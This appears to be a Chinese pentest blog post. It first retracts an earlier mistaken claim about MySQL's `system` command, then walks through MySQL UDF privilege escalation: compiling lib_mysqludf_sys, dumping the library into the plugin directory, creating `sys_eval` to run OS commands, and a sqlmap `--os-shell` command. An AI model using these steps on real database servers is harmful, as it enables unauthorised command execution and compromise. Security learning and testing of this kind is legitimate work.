聲明:下面引用關於SYSTEM的東西是自己之前的內容,是自己沒有研究透導致的錯誤結論:有了錯就要改,做技術的不能弄虛作假,時時刻刻要求自己要謹慎,雖然我的博客沒人看,但是也要向所有已經看到的人道歉,錯了就是錯了。
說明:
錯誤點:SYSTEM執行的是MYSQL-CLI客戶端自己所在機器的命令,也就是你使用mysql命令行方式連接到對端后,使用SYSTEM執行的還是自己所在機器的指令。比如你system whoami,你會發現是你自己的主機賬戶名。所以無法用在滲透過程的當中,特此聲明。
一、MySQL中的system命令
在MySQL 5.x中增加了system命令,簡單的符號是\!,從而使MySQL可以執行系統的命令
1 mysql> system echo "12345" 2 12345
因為突發奇想,可以使用這個辦法反彈shell
結果OK:
嘗試和select拼接執行,這樣是成功的
想到這里其實可以拼接在SQL注入語句中執行OS命令,或者能連上MySQL之后直接執行OS命令反彈shell。
二、MySQL UDF提權
這里按照linux類操作系統舉例了,服務器端用windows真的沒意思了,雖然還有很多。https://github.com/mysqludf/lib_mysqludf_sys解壓后進入(git clone后直接進入)目錄:
1 gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
如果遇到報錯:
1 In file included from lib_mysqludf_sys.c:40: 2 /usr/include/mysql/my_global.h:626:25: error: my_compiler.h: No such file or directory
可以做如下修改:修改/usr/include/mysql/my_global.h文件,注釋626行后重新編譯。並使用Hex.hta獲取16進制。
1 mysql> show variables like '%plugin%'; 2 +---------------+-------------------------+ 3 | Variable_name | Value | 4 +---------------+-------------------------+ 5 | plugin_dir | /usr/lib64/mysql/plugin | 6 +---------------+-------------------------+ 7 1 row in set (0.00 sec) 8 9 mysql> select * from func; #檢查是否已經有人導出過了 10 mysql> select unhex('hexcode') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so'; 11 Query OK, 1 row affected (0.01 sec)#需要有/usr/lib64/mysql/plugin/目錄的寫入權限 12 13 mysql> create function sys_eval returns string soname 'mysqludf.so'; 14 Query OK, 0 rows affected (0.00 sec) 15 16 mysql> select sys_eval('whoami'); 17 +--------------------+ 18 | sys_eval('whoami') | 19 +--------------------+ 20 | mysql 21 | 22 +--------------------+ 23 1 row in set (0.03 sec) 24 25 mysql> select * from func; 26 +----------+-----+-------------+----------+ 27 | name | ret | dl | type | 28 +----------+-----+-------------+----------+ 29 | sys_eval | 0 | mysqludf.so | function | 30 +----------+-----+-------------+----------+ 31 1 row in set (0.00 sec) 32 33 mysql> drop function sys_eval; 34 Query OK, 0 rows affected (0.00 sec) 35 36 mysql> select * from func; 37 Empty set (0.00 sec)
或者使用sqlmap 執行提權:
1 #sqlmap -d "mysql://root:toor@192.168.99.213:3306/test" --os-shell 2 #test的地方是database name